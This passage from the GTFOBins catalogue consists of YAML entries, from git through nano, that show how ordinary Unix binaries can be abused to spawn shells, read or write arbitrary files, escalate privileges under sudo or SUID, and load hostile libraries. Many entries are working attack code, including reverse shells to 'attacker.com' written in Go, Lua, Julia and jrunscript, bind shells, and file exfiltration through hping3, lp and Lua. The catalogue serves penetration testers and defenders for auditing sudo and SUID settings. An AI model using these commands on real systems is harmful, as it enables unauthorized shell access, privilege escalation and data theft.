The read file content is displayed in `diff` style output format. contexts: sudo: suid: unprivileged: file-write: - code: |- git apply --unsafe-paths --directory / x.patch comment: |- The patch can be created locally by creating the file that will be written on the target using its absolute path: ``` echo DATA >/path/to/input-file git diff /dev/null /path/to/input-file >x.patch ``` contexts: sudo: suid: unprivileged: inherit: - code: |- git help config contexts: sudo: unprivileged: from: less - code: |- git branch --help config !/bin/sh comment: |- The help system can also be reached from any `git` command, e.g., `git branch`. contexts: sudo: unprivileged: from: less shell: - code: |- PAGER='/bin/sh -c "exec sh 0<&1"' git -p help contexts: sudo: unprivileged: - code: |- git init . echo 'exec /bin/sh 0<&2 1>&2' >.git/hooks/pre-commit chmod +x .git/hooks/pre-commit git -C . commit --allow-empty -m x comment: |- Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used, and moving into the directory works too. contexts: sudo: unprivileged: - code: |- ln -s /bin/sh git-x git --exec-path=. x contexts: sudo: suid: code: |- ln -s /bin/sh git-x git --exec-path=. x -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/gnuplot ================================================ --- functions: shell: - code: |- gnuplot -e 'system("/bin/sh 1>&0")' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/go ================================================ --- functions: bind-shell: - code: |- echo -e 'package main\nimport (\n\t"os"\n\t"syscall"\n)\n\nfunc main(){\n\tfd, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\n\taddr := &syscall.SockaddrInet4{Port: 12345}\n\tcopy(addr.Addr[:], []byte{0,0,0,0})\n\tsyscall.Bind(fd, addr)\n\tsyscall.Listen(fd, 1)\n\tnfd, _, _ := syscall.Accept(fd)\n\tsyscall.Dup2(nfd, 0)\n\tsyscall.Dup2(nfd, 1)\n\tsyscall.Dup2(nfd, 2)\n\tsyscall.Exec("/bin/sh", []string{"/bin/sh", "-i"}, os.Environ())\n}' >/path/to/temp-file.go go run /path/to/temp-file.go connector: tcp-client contexts: sudo: unprivileged: file-read: - code: |- echo -e 'package main\nimport (\n\t"fmt"\n\t"os"\n)\n\nfunc main(){\n\tb, _ := os.ReadFile("/path/to/input-file")\n\tfmt.Print(string(b))\n}' >/path/to/temp-file.go go run /path/to/temp-file.go contexts: sudo: unprivileged: file-write: - code: |- echo -e 'package main\nimport "os"\nfunc main(){\n\tf, _ := os.OpenFile("/path/to/output-file", os.O_RDWR|os.O_CREATE, 0644)\n\tf.Write([]byte("DATA\\n"))\n\tf.Close()\n}' >/path/to/temp-file.go go run /path/to/temp-file.go contexts: sudo: unprivileged: reverse-shell: - code: |- echo -e 'package main\nimport (\n\t"os"\n\t"net"\n\t"syscall"\n)\n\nfunc main(){\n\tfd, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\n\tip := net.ParseIP("attacker.com").To4()\n\taddr := &syscall.SockaddrInet4{Port: 12345}\n\tcopy(addr.Addr[:], ip)\n\tsyscall.Connect(fd, addr)\n\tsyscall.Dup2(fd, 0)\n\tsyscall.Dup2(fd, 1)\n\tsyscall.Dup2(fd, 2)\n\tsyscall.Exec("/bin/sh", []string{"/bin/sh", "-i"}, os.Environ())\n}' >/path/to/temp-file.go go run /path/to/temp-file.go contexts: sudo: unprivileged: listener: tcp-server shell: - code: |- echo -e 'package main\nimport "syscall"\nfunc main(){\n\tsyscall.Exec("/bin/sh", []string{"/bin/sh", "-i"}, []string{})\n}' >/path/to/temp-file.go go run /path/to/temp-file.go contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/grc ================================================ --- functions: shell: - code: |- grc --pty /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/grep ================================================ --- functions: file-read: - binary: false code: |- grep '' /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/gtester ================================================ --- functions: file-write: - code: |- gtester DATA -o /path/to/output-file comment: |- Data to be written appears in an XML attribute in the output file (``). contexts: sudo: suid: unprivileged: shell: - code: |- echo 'exec /bin/sh 0<&1' >/path/to/temp-file chmod +x /path/to/temp-file gtester -q /path/to/temp-file contexts: sudo: suid: code: |- echo '#!/bin/sh -p' >/path/to/temp-file echo 'exec /bin/sh -p 0<&1' >>/path/to/temp-file chmod +x /path/to/temp-file gtester -q /path/to/temp-file shell: false unprivileged: ... ================================================ FILE: _gtfobins/guile ================================================ --- functions: shell: - code: |- guile -c '(system "/bin/sh")' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/gzip ================================================ --- comment: |- There are also a number of other utilities that rely on `gzip` under the hood, e.g., `zless`, `zcat`, `gunzip`, etc. Besides having similar features, they also allow privileged reads if `gzip` itself is SUID. functions: file-read: - code: |- gzip -c /path/to/input-file | gzip -d contexts: capabilities: list: - CAP_DAC_OVERRIDE sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/hashcat ================================================ --- functions: file-write: - code: |- echo -n DATA | tee /path/to/wordlist | md5sum | awk '{print $1}' >/path/to/hash hashcat -m 0 --quiet --potfile-disable -o /path/to/output-file --outfile-format=2 --outfile-autohex-disable /path/to/hash /path/to/wordlist comment: |- Append data to the end of the output file, creating if does not exist. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/hd ================================================ --- alias: hexdump ... ================================================ FILE: _gtfobins/head ================================================ --- functions: file-read: - code: |- head -c-0 /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/hexdump ================================================ --- functions: file-read: - code: |- hd /path/to/input-file comment: |- The output is actually an hex dump. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/hg ================================================ --- functions: shell: - code: |- hg --config alias.x='!/bin/sh' x contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/highlight ================================================ --- functions: file-read: - binary: false code: |- highlight --no-doc --failsafe /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/hping3 ================================================ --- functions: shell: - code: |- hping3 /bin/sh contexts: sudo: suid: code: |- hping3 /bin/sh -p shell: false unprivileged: upload: - code: |- hping3 attacker.com --icmp --data 999 --sign xxx --file /path/to/input-file comment: |- The file is continuously sent as ICMP packets (e.g., of `999` bytes), the optional `--end` parameter signals when the file reached the end. contexts: sudo: receiver: code: |- hping3 --icmp --listen xxx --dump comment: |- The same program can be used on the attacker box to receive the data. ... ================================================ FILE: _gtfobins/iconv ================================================ --- comment: |- The `8859_1` encoding is used as it accepts any single-byte sequence, thus it allows to read/write arbitrary files. Other encoding combinations may corrupt the result. functions: file-read: - code: |- iconv -f 8859_1 -t 8859_1 /path/to/input-file contexts: sudo: suid: unprivileged: file-write: - code: |- echo DATA | iconv -f 8859_1 -t 8859_1 -o /path/to/output-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/iftop ================================================ --- functions: shell: - code: |- iftop !/bin/sh comment: |- This requires the privilege to capture on some device (specify with `-i` if needed). contexts: sudo: suid: shell: true unprivileged: version: |- 0.17 ... ================================================ FILE: _gtfobins/install ================================================ --- functions: privilege-escalation: - code: |- install -m 6777 /path/to/input-file /path/to/output-dir/ comment: |- This can be run with elevated privileges to change permissions (`6` denotes the SUID bits) and then read, write, or execute a file. contexts: sudo: suid: ... ================================================ FILE: _gtfobins/ionice ================================================ --- functions: shell: - code: |- ionice /bin/sh contexts: sudo: suid: code: |- ionice /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/ip ================================================ --- functions: file-read: - binary: false code: |- ip -force -batch /path/to/input-file comment: |- The read file content is corrupted by error prints. contexts: sudo: suid: unprivileged: shell: - code: |- ip netns add foo ip netns exec foo /bin/sh ip netns delete foo contexts: sudo: suid: code: |- ip netns add foo ip netns exec foo /bin/sh -p ip netns delete foo version: |- This only works for Linux with `CONFIG_NET_NS=y`. - code: |- ip netns add foo ip netns exec foo /bin/ln -s /proc/1/ns/net /var/run/netns/bar ip netns exec bar /bin/sh ip netns delete foo ip netns delete bar contexts: sudo: version: |- This only works for Linux with `CONFIG_NET_NS=y`. ... ================================================ FILE: _gtfobins/iptables-save ================================================ --- functions: file-write: - binary: false code: |- iptables -A INPUT -i lo -j ACCEPT -m comment --comment DATA iptables -S iptables-save -f /path/to/output-file comment: |- The content is written along with a number of `iptables` rules. contexts: sudo: ... ================================================ FILE: _gtfobins/irb ================================================ --- functions: inherit: - code: |- irb ... comment: |- This allows to run Ruby code (`...`). contexts: sudo: unprivileged: from: ruby ... ================================================ FILE: _gtfobins/ispell ================================================ --- functions: shell: - code: |- ispell /etc/hosts !/bin/sh contexts: sudo: suid: code: |- ispell /etc/hosts !/bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/java ================================================ --- functions: shell: - code: |- java Shell comment: |- The `Shell.class` class file can be compiled offline, then uploaded to the target: ``` cat >Shell.java <0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type('java.lang.Thread').sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close(); contexts: sudo: unprivileged: listener: tcp-server shell: - code: |- jjs Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c $@|sh _ echo sh /dev/tty 2>/dev/tty').waitFor() contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/joe ================================================ --- functions: shell: - code: |- joe ^K!/bin/sh comment: |- The terminal is spawn int the terminal interface. contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/join ================================================ --- functions: file-read: - binary: false code: |- join -a 2 /dev/null /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/journalctl ================================================ --- comment: |- This might not work if run by unprivileged users depending on the system configuration. functions: inherit: - code: |- journalctl contexts: sudo: unprivileged: from: less ... ================================================ FILE: _gtfobins/jq ================================================ --- functions: file-read: - binary: false code: |- jq -Rr . /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/jrunscript ================================================ --- comment: |- This tool is installed starting with Java SE 6. functions: download: - code: |- jrunscript -e 'cp("http://attacker.com/path/to/input-file","/path/to/output-file")' contexts: sudo: unprivileged: sender: http-server file-read: - binary: false code: |- jrunscript -e 'br = new BufferedReader(new java.io.FileReader("/path/to/input-file")); while ((line = br.readLine()) != null) { print(line); }' contexts: sudo: unprivileged: file-write: - code: |- jrunscript -e 'var fw=new java.io.FileWriter("/path/to/output-file"); fw.write("DATA"); fw.close();' contexts: sudo: unprivileged: reverse-shell: - code: |- jrunscript -e 'var host="attacker.com"; var port=12345; var p=new java.lang.ProcessBuilder("/bin/sh", "-i").redirectErrorStream(true).start(); var s=new java.net.Socket(host,port); var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); java.lang.Thread.sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();' contexts: sudo: unprivileged: listener: tcp-server shell: - code: |- jrunscript -e 'exec("/bin/sh -c $@|sh _ echo sh /dev/tty 2>/dev/tty")' contexts: sudo: suid: code: |- jrunscript -e 'exec("/bin/sh -pc $@|sh${IFS}-p _ echo sh -p /dev/tty 2>/dev/tty")' comment: |- This has been found working in macOS but failing on Linux systems. shell: false unprivileged: ... ================================================ FILE: _gtfobins/jshell ================================================ --- functions: file-read: - binary: false code: |- jshell jshell> /open /path/to/input-file comment: |- The content is leaked as error messages. contexts: sudo: unprivileged: file-write: - binary: false code: |- jshell String x = "DATA"; /save /path/to/output-file comment: |- Writes only the valid Java code to file. contexts: sudo: unprivileged: shell: - blind: true code: |- jshell Runtime.getRuntime().exec("/path/to/command"); contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/jtag ================================================ --- functions: shell: - code: |- jtag --interactive shell /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/julia ================================================ --- functions: download: - code: |- julia -e 'download("http://attacker.com/path/to/input-file", "/path/to/output-file")' contexts: sudo: suid: unprivileged: sender: http-server file-read: - code: |- julia -e 'print(open(f->read(f, String), "/path/to/input-file"))' contexts: sudo: suid: unprivileged: file-write: - code: |- julia -e 'open(f->write(f, "DATA"), /path/to/output-file, "w")' contexts: sudo: suid: unprivileged: reverse-shell: - code: |- julia -e 'using Sockets; sock=connect("attacker.com", parse(Int64, 12345)); while true; cmd = readline(sock); if !isempty(cmd); cmd = split(cmd); ioo = IOBuffer(); ioe = IOBuffer(); run(pipeline(`$cmd`, stdout=ioo, stderr=ioe)); write(sock, String(take!(ioo)) * String(take!(ioe))); end; end;' contexts: sudo: suid: unprivileged: listener: tcp-server shell: - code: |- julia -e 'run(`/bin/sh`)' contexts: sudo: suid: code: |- julia -e 'run(`/bin/sh -p`)' shell: false unprivileged: ... ================================================ FILE: _gtfobins/knife ================================================ --- functions: inherit: - code: |- knife exec -E '...' comment: |- This allows to run Ruby code (`...`). contexts: sudo: unprivileged: from: ruby ... ================================================ FILE: _gtfobins/ksh ================================================ --- alias: bash ... ================================================ FILE: _gtfobins/ksshell ================================================ --- functions: file-read: - code: |- ksshell -i /path/to/input-file comment: |- Each line is corrupted by a prefix string. Also consider that lines are actually parsed as `kickstart` scripts thus some file contents may lead to unexpected results. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/ksu ================================================ --- functions: shell: - code: |- ksu -q -e /bin/sh contexts: sudo: ... ================================================ FILE: _gtfobins/kubectl ================================================ --- functions: shell: - code: |- cat >/path/to/temp-file <&2' EOF kubectl get pods --kubeconfig=/path/to/temp-file comment: |- The shell is spawn multiple times. contexts: sudo: unprivileged: upload: - code: |- kubectl proxy --address=0.0.0.0 --port=12345 --www=/path/to/dir/ --www-prefix=/x/ contexts: sudo: suid: unprivileged: receiver: code: |- curl victim.com:12345/x/path/to/input-file -o /path/to/output-file comment: |- An HTTP client can be used on the attacker box to receive the data. ... ================================================ FILE: _gtfobins/last ================================================ --- functions: file-read: - code: |- last -a -f /path/to/input-file comment: |- The output might be corrupted or incomplete if the file does not follow the expected database format. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/lastb ================================================ --- alias: last ... ================================================ FILE: _gtfobins/latex ================================================ --- functions: file-read: - code: |- latex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}' strings texput.dvi comment: |- The read file will be part of the PDF output. contexts: sudo: suid: unprivileged: file-write: - code: |- latex '\documentclass{article}\newwrite\tempfile\begin{document}\immediate\openout\tempfile=output-file.tex\immediate\write\tempfile{DATA}\immediate\closeout\tempfile\end{document}' comment: |- The file can only be written in the current directory, and the `.tex` extension is mandatory. contexts: sudo: suid: unprivileged: shell: - code: |- latex --shell-escape '\immediate\write18{/bin/sh}' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/latexmk ================================================ --- functions: file-read: - binary: false code: |- echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}' >/path/to/temp-file latexmk -dvi /path/to/temp-file strings temp-file.dvi comment: |- The read file will be part of the output. contexts: sudo: unprivileged: inherit: - code: |- latexmk -e '...' comment: |- This allows to run Perl code (`...`). contexts: sudo: unprivileged: from: perl shell: - code: |- latexmk -pdf -pdflatex='/bin/sh #' /dev/null contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/ldconfig ================================================ --- functions: library-load: - code: |- echo /path/to/temp-dir/ >/path/to/temp-file ldconfig -f /path/to/temp-file ping comment: |- This allows to override one or more shared libraries (e.g., `libpcap`) globally, then triggers the execution by running a program that uses it, e.g., `ping`. This is particularly useful if the target binary is SUID. Beware though that it is easy to end up with a broken target system. First identify the shared libraries used by the target program, for example: ``` $ ldd /bin/ping | grep libcap libcap.so.2 => /path/to/temp-dir/libcap.so.2 (0x00007f8417eef000) ``` Then create the shared library override, named `libcap.so.2`, and put in in `/path/to/temp-dir/`. The program might require some exported symbols from the library override, in that case make sure to add them (e.g., `void cap_get_flag() {}`). contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/less ================================================ --- functions: command: - code: |- cp /path/to/command ~/.lessfilter less /etc/hosts contexts: unprivileged: - code: |- LESSOPEN='/path/to/command # %s' less /etc/hosts contexts: sudo: unprivileged: file-read: - code: |- less /path/to/input-file contexts: sudo: suid: unprivileged: - code: |- less /etc/hosts :e /path/to/input-file comment: |- This can be used to read another file, e.g., when invoked as a pager with some fixed content. contexts: sudo: suid: unprivileged: - code: |- LESSOPEN='echo /path/to/input-file # %s' less /etc/hosts comment: |- This can be used to read another file. contexts: sudo: unprivileged: file-write: - code: |- echo DATA | less s/path/to/output-file q contexts: sudo: suid: unprivileged: inherit: - code: |- less /etc/hosts v contexts: sudo: suid: unprivileged: from: vi shell: - code: |- less /etc/hosts !/bin/sh contexts: sudo: suid: shell: true unprivileged: - code: |- LESSOPEN="/bin/sh -s 1>&0 2>&0 # %s" less /etc/hosts reset comment: |- The optional `reset` command is needed to receive the echo back of the typed keystrokes. contexts: sudo: unprivileged: - code: |- VISUAL='/bin/sh -s --' less /etc/hosts v contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/lftp ================================================ --- functions: shell: - code: |- lftp -c '!/bin/sh' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/links ================================================ --- functions: file-read: - binary: false code: |- links /path/to/input-file comment: |- The result is displayed in a TUI interface. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/ln ================================================ --- functions: privilege-escalation: - code: |- ln -fs /bin/sh /bin/ln ln comment: |- This overrides `ln` itself with a symlink to a shell (or any other executable) that is to be executed as root, useful in case a `sudo` rule allows to only run `ln` by path. Warning, this is a destructive action. contexts: sudo: ... ================================================ FILE: _gtfobins/loginctl ================================================ --- comment: |- This might not work if run by unprivileged users depending on the system configuration. functions: shell: - code: |- loginctl user-status !/bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/logrotate ================================================ --- functions: file-read: - binary: false code: |- logrotate /path/to/input-file comment: |- The first word is returned in a error message. contexts: sudo: suid: unprivileged: file-write: - binary: false code: |- logrotate -l /path/to/output-file DATA comment: |- The content is written in a log file. contexts: sudo: suid: unprivileged: shell: - code: |- echo -e '/path/to/temp-file.config {\nmail x@x.x\n}' >/path/to/temp-file.config echo '/bin/sh 0<&2 1>&2' >/path/to/temp-file.sh logrotate -m /path/to/temp-file.sh -f /path/to/temp-file comment: |- This command is picky about file permissions. An existing config file can be used as weel, provided that it contains a mail directive. contexts: sudo: ... ================================================ FILE: _gtfobins/logsave ================================================ --- functions: shell: - code: |- logsave /dev/null /bin/sh -i contexts: sudo: suid: code: |- logsave /dev/null /bin/sh -i -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/look ================================================ --- functions: file-read: - code: |- look '' /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/lp ================================================ --- functions: upload: - code: |- lp /path/to/input-file -h attacker.com comment: |- This requires `cups` to be installed. Run the following on the attacker box beforehand: 1. `lpadmin -p printer -v socket://localhost -E` to create a virtual printer; 2. `lpadmin -d printer` to set the new printer as default; 3. `cupsctl --remote-any` to enable printing from the Internet. contexts: sudo: suid: unprivileged: receiver: code: |- nc -l -p 9100 >/path/to/output-file comment: |- A TCP server can be used on the attacker box to receive the data. ... ================================================ FILE: _gtfobins/ltrace ================================================ --- functions: file-read: - binary: false code: |- ltrace -F /path/to/input-file /dev/null comment: |- The file is parsed as a configuration file and its content is shown as error messages. contexts: sudo: suid: unprivileged: file-write: - code: |- ltrace -s 999 -o /path/to/input-file ltrace -F DATA comment: |- The data to be written appears amid the library function call log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough instead of `999`. More generally, any binary that executes whatever library function call passing arbitrary data can be used in place of `ltrace -F DATA`. contexts: sudo: unprivileged: shell: - code: |- ltrace -b -L /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/lua ================================================ --- functions: bind-shell: - code: |- lua -e ' local k=require("socket"); local s=assert(k.bind("*",12345)); local c=s:accept(); while true do local r,x=c:receive();local f=assert(io.popen(r,"r")); local b=assert(f:read("*a"));c:send(b); end;c:close();f:close();' comment: |- This requires `lua-socket` to be available. connector: tcp-client contexts: sudo: suid: shell: true unprivileged: download: - code: |- lua -e ' local k=require("socket"); local s=assert(k.bind("*",12345)); local c=s:accept(); local d,x=c:receive("*a"); c:close(); local f=io.open("/path/to/output-file", "wb"); f:write(d); io.close(f);' comment: |- This requires `lua-socket` to be available. contexts: sudo: suid: unprivileged: sender: tcp-client file-read: - code: |- lua -e 'local f=io.open("/path/to/input-file", "rb"); io.write(f:read("*a")); io.close(f);' contexts: sudo: suid: unprivileged: file-write: - code: |- lua -e 'local f=io.open("/path/to/output-file", "wb"); f:write("DATA"); io.close(f);' contexts: sudo: suid: unprivileged: reverse-shell: - code: |- lua -e ' local s=require("socket"); local t=assert(s.tcp()); t:connect("attacker.com",12345); while true do local r,x=t:receive();local f=assert(io.popen(r,"r")); local b=assert(f:read("*a"));t:send(b); end; f:close();t:close();' comment: |- This requires `lua-socket` to be available. contexts: sudo: suid: shell: true unprivileged: listener: tcp-server shell: - code: |- lua -e 'os.execute("/bin/sh")' contexts: sudo: suid: shell: true unprivileged: upload: - code: |- lua -e ' local f=io.open("/path/to/input-file", "rb") local d=f:read("*a") io.close(f); local s=require("socket"); local t=assert(s.tcp()); t:connect("attacker.com",12345); t:send(d); t:close();' comment: |- This requires `lua-socket` to be available. contexts: sudo: suid: unprivileged: receiver: tcp-server ... ================================================ FILE: _gtfobins/lualatex ================================================ --- functions: inherit: - code: |- lualatex -shell-escape '\directlua{...}\end' comment: |- This allows to run Lua code (`...`). contexts: sudo: suid: unprivileged: from: lua ... ================================================ FILE: _gtfobins/luatex ================================================ --- functions: inherit: - code: |- luatex -shell-escape '\directlua{...}\end' comment: |- This allows to run Lua code (`...`). contexts: sudo: suid: unprivileged: from: lua ... ================================================ FILE: _gtfobins/lwp-download ================================================ --- functions: download: - code: |- lwp-download http://attacker.com/path/to/input-file /path/to/output-file comment: |- The destination file `/path/to/output-file` can be omitted, in that case the file is saved to `input-file` in the current working directory. contexts: sudo: unprivileged: file-read: - code: |- lwp-download file:///path/to/input-file /dev/stdout contexts: sudo: unprivileged: file-write: - code: |- echo DATA >/path/to/temp-file lwp-download file:///path/to/temp-file /path/to/output-file contexts: sudo: unprivileged: - code: |- lwp-download file:///path/to/input-file /path/to/output-file comment: |- This actually copies a file to a destination. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/lwp-request ================================================ --- functions: file-read: - code: |- lwp-request file:///path/to/input-file contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/lxd ================================================ --- functions: shell: - code: |- lxc init ubuntu:16.04 x -c security.privileged=true lxc config device add x x disk source=/ path=/mnt/ recursive=true lxc start x lxc exec x /bin/sh comment: |- The image (e.g., `ubuntu:16.04`) must be present already, otherwise it will be downloaded. contexts: sudo: suid: - code: |- lxc image import ./alpine*.tar.gz --alias x lxc init x x -c security.privileged=true lxc config device add x x disk source=/ path=/mnt/ recursive=true lxc start x lxc exec x /bin/sh comment: |- This requires steps to be run offline, then the resulting image must be uploaded to target. Build the local image with [lxd-alpine-builder](https://github.com/saghul/lxd-alpine-builder): ``` git clone https://github.com/saghul/lxd-alpine-builder cd lxd-alpine-builder sudo ./build-alpine -a i686 ``` contexts: sudo: suid: ... ================================================ FILE: _gtfobins/m4 ================================================ --- functions: command: - code: |- echo 'esyscmd(/path/to/command)' | m4 contexts: sudo: suid: shell: true unprivileged: file-read: - binary: false code: |- m4 /path/to/input-file contexts: sudo: suid: unprivileged: shell: - code: |- echo 'esyscmd(/bin/sh 0<&2 1>&2)' | m4 contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/mail ================================================ --- functions: shell: - code: |- mail --exec='!/bin/sh' contexts: sudo: suid: shell: true unprivileged: version: |- GNU - code: |- mail -f /etc/hosts !/bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/make ================================================ --- functions: file-read: - binary: false code: |- make -s --eval='$(file >/dev/stdout,$(file "/path/to/output-file" }' contexts: sudo: suid: unprivileged: shell: - code: |- mawk 'BEGIN {system("/bin/sh")}' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/minicom ================================================ --- comment: |- Note that in some versions, `Meta-Z` is used in place of `Ctrl-A`. functions: shell: - code: |- minicom -D /dev/null comment: |- Start the following command to open the TUI interface, then: 1. press `Ctrl-A o` and select `Filenames and paths`; 2. press `e`, type `/bin/sh`, then `Enter`; 3. Press `Esc` twice; 4. Press `Ctrl-A k` to drop the shell. After the shell, exit with `Ctrl-A x`. contexts: sudo: suid: comment: |- Start the following command to open the TUI interface, then: 1. press `Ctrl-A o` and select `Filenames and paths`; 2. press `e`, type `/bin/sh -p`, then `Enter`; 3. Press `Esc` twice; 4. Press `Ctrl-A k` to drop the shell. After the shell, exit with `Ctrl-A x`. unprivileged: - code: |- echo '! exec /bin/sh /dev/tty 2>/dev/tty' >/path/to/temp-file minicom -D /dev/null -S /path/to/temp-file reset^J comment: |- After the shell, exit with `Ctrl-A x`. contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/more ================================================ --- functions: file-read: - code: |- more /path/to/input-file comment: |- The file is displayed in the terminal interface. contexts: sudo: suid: unprivileged: shell: - code: |- more /etc/hosts !/bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/mosh-server ================================================ --- functions: shell: - code: |- mosh --server=mosh-server localhost /bin/sh comment: |- This requires a valid SSH access. contexts: sudo: comment: |- The `mosh-server` is executed via `sudo`. ... ================================================ FILE: _gtfobins/mosquitto ================================================ --- functions: file-read: - code: |- mosquitto -c /path/to/input-file comment: |- The file is actually parsed and the first wrong line (ending with a newline or a null character) is returned in an error message. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/mount ================================================ --- functions: privilege-escalation: - code: |- mount -o bind /bin/sh /bin/mount mount comment: |- This overrides `mount` itself with a shell (or any other executable). contexts: sudo: ... ================================================ FILE: _gtfobins/msfconsole ================================================ --- functions: inherit: - code: |- msfconsole irb contexts: sudo: unprivileged: from: irb ... ================================================ FILE: _gtfobins/msgattrib ================================================ --- functions: file-read: - binary: false code: |- msgattrib -P /path/to/input-file comment: |- The file is parsed and displayed as a Java `.properties` file. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/msgcat ================================================ --- functions: file-read: - binary: false code: |- msgcat -P /path/to/input-file comment: |- The file is parsed and displayed as a Java `.properties` file. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/msgconv ================================================ --- functions: file-read: - binary: false code: |- msgconv -P /path/to/input-file comment: |- The file is parsed and displayed as a Java `.properties` file. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/msgfilter ================================================ --- functions: file-read: - binary: false code: |- msgfilter -P -i /path/to/input-file /bin/cat comment: |- The file is parsed and displayed as a Java `.properties` file. `/bin/cat` can be replaced with any other *filter* program. contexts: sudo: suid: unprivileged: shell: - code: |- echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID' comment: |- The `kill` command is needed to spawn the shell only once. Instead of readinf from standard input, it can read files passed via the `-i` option. contexts: sudo: suid: code: |- echo x | msgfilter -P /bin/sh -p -c '/bin/sh -p 0<&2 1>&2; kill $PPID' shell: false unprivileged: ... ================================================ FILE: _gtfobins/msgmerge ================================================ --- functions: file-read: - binary: false code: |- msgmerge -P /path/to/input-file /dev/null comment: |- The file is parsed and displayed as a Java `.properties` file. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/msguniq ================================================ --- functions: file-read: - binary: false code: |- msguniq -P /path/to/input-file comment: |- The file is parsed and displayed as a Java `.properties` file. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/mtr ================================================ --- functions: file-read: - binary: false code: |- mtr --raw -F /path/to/input-file comment: |- The file is actually parsed, thus the content is corrupted by error prints. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/multitime ================================================ --- functions: shell: - code: |- multitime /bin/sh contexts: sudo: suid: code: |- multitime /bin/sh -p unprivileged: ... ================================================ FILE: _gtfobins/mutt ================================================ --- functions: file-read: - binary: false code: |- mutt -F /path/to/input-file comment: |- The file is leaked as error messages. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/mv ================================================ --- functions: file-write: - code: |- echo DATA >/path/to/temp-file mv /path/to/temp-file /path/to/output-file contexts: sudo: suid: unprivileged: privilege-escalation: - code: |- mv /path/to/input-file /path/to/output-file comment: |- This can be used to move and then read or write files from a restricted file systems or with elevated privileges. contexts: sudo: suid: ... ================================================ FILE: _gtfobins/mypy ================================================ --- functions: file-read: - binary: false code: |- mypy /path/to/input-file comment: |- Partial content is leaked as error messages. contexts: sudo: unprivileged: file-write: - binary: false code: |- mypy /path/to/input-file --junit-xml /path/to/output-file comment: |- Partial content is leaked as error messages inside some XML tags. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/mysql ================================================ --- comment: |- A valid MySQL server must be available to connect to. functions: library-load: - code: |- mysql --default-auth ../../../../../path/to/lib comment: |- The following loads the `/path/to/lib.so` shared object. contexts: sudo: suid: unprivileged: version: |- 5.5 shell: - code: |- mysql -e '\! /bin/sh' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/nano ================================================ --- functions: file-read: - binary: false code: |- nano /path/to/input-file comment: 